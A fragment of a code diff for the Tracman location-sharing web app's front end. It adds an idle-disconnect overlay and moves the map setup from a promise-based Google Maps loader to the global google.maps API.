@ -27,12 +24,16 @@ window.setInterval( function CheckIdleTime () {
if (_idleSecondsCounter >= IDLE_TIMEOUT) {
if (socket.connected) {
console.log('Disconnecting because idle for more than',IDLE_TIMEOUT,'seconds.')
$('#inactive-mask').show()
$('#inactive-message').show()
socket.disconnect()
}
// Connect user if disconnected
} else {
if (!socket.connected) {
console.log('Reconnecting the user because they are no longer idle.')
$('#inactive-mask').hide()
$('#inactive-message').hide()
socket.connect()
}
}
@ -79,7 +80,7 @@ $(function () {
toggleMaps(mapuser.last)
// Controls
var wpid, newloc
let wpid, newloc
// Set location
$('#set-loc').click(function () {
@ -92,7 +93,7 @@ $(function () {
// Success callback
function (pos) {
var newloc = {
let newloc = {
ts: Date.now(),
tok: token,
usr: userid,
@ -202,13 +203,12 @@ $(function () {
})
// Load google maps API
loadGoogleMapsAPI({ key: mapKey })
.then(function (googlemaps) {
function initMap() {
// Create map
if (disp !== '1') {
// Create map and marker elements
map = new googlemaps.Map(mapElem, {
map = new google.maps.Map(mapElem, {
center: {
lat: mapuser.last.lat,
lng: mapuser.last.lon
@ -220,10 +220,10 @@ loadGoogleMapsAPI({ key: mapKey })
draggable: false,
zoom: mapuser.settings.defaultZoom,
streetViewControl: false,
zoomControlOptions: {position: googlemaps.ControlPosition.LEFT_TOP},
mapTypeId: (mapuser.settings.defaultMap === 'road') ? googlemaps.MapTypeId.ROADMAP : googlemaps.MapTypeId.HYBRID
zoomControlOptions: {position: google.maps.ControlPosition.LEFT_TOP},
mapTypeId: (mapuser.settings.defaultMap === 'road') ? google.maps.MapTypeId.ROADMAP : google.maps.MapTypeId.HYBRID
})
marker = new googlemaps.Marker({
marker = new google.maps.Marker({
position: { lat: mapuser.last.lat, lng: mapuser.last.lon },
title: mapuser.name,
icon: (mapuser.settings.marker) ? '/static/img/marker/' + mapuser.settings.marker + '.png' : '/static/img/marker/red.png',
@ -241,7 +241,7 @@ loadGoogleMapsAPI({ key: mapKey })
logoDiv.innerHTML = '<a href="https://www.tracman.org/">' +
'<img src="https://www.tracman.org/static/img/style/logo-28.png" alt="[]">' +
"<span class='text'>Tracman</span></a>"
map.controls[googlemaps.ControlPosition.BOTTOM_LEFT].push(logoDiv)
map.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(logoDiv)
}
// Create update time block
@ -250,7 +250,7 @@ loadGoogleMapsAPI({ key: mapKey })
if (mapuser.last.time) {
timeDiv.innerHTML = 'location updated ' + new Date(mapuser.last.time).toLocaleString()
}
map.controls[googlemaps.ControlPosition.RIGHT_BOTTOM].push(timeDiv)
map.controls[google.maps.ControlPosition.RIGHT_BOTTOM].push(timeDiv)
// Create speed block
if (mapuser.settings.showSpeed) {
@ -268,12 +268,12 @@ loadGoogleMapsAPI({ key: mapKey })
speedSign.appendChild(speedLabel)
speedSign.appendChild(speedText)
speedSign.appendChild(speedUnit)
map.controls[googlemaps.ControlPosition.TOP_RIGHT].push(speedSign)
map.controls[google.maps.ControlPosition.TOP_RIGHT].push(speedSign)
}